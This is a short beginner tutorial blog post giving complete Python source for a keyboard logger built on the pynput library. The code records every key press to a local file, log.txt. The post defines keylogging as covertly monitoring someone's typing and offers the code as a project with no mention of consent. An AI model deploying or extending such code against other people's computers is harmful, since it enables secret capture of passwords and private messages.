Well In this Post, We will Be Creating a Keylogger Using Python. And This is Going to Be Interseting Project And Any Beginner can Also Try This Project.
What is a Keylogger?
Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that a person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program.
Modules Used In this Project:
pynput – This library allows you to control and monitor input devices. Currently, mouse and keyboard input and monitoring are supported.
pip install pynputPython Code:
# keylogger using pynput module
import pynput
from pynput.keyboard import Key, Listener
keys = []
def on_press(key):
    keys.append(key)
    write_file(keys)
    try:
        print('alphanumeric key {0} pressed'.format(key.char))
    except AttributeError:
        print('special key {0} pressed'.format(key))
def write_file(keys):
    with open('log.txt', 'w') as f:
        for key in keys:
            # removing ''
            k = str(key).replace("'", "")
            f.write(k)
            # every keystroke for readability
            f.write(' ')
def on_release(key):
    print('{0} released'.format(key))
    if key == Key.esc:
        # Stop listener
        return False
with Listener(on_press=on_press,
              on_release=on_release) as listener:
    listener.join()Read Also:
• Realtime Chat Application Socket.io
• Email Automation Using Python
Latest posts by Tanmay Sinha (see all)
- I Tried ChromeOS Flex After Switching From Windows 10 - October 13, 2025
- Top 5 Business Skills Every Programmer Needs to Get Hired (2025 Guide) - August 27, 2025
- Intel’s Downfall? How a Silicon Titan Lost the Plot—and What Comes Next - August 26, 2025


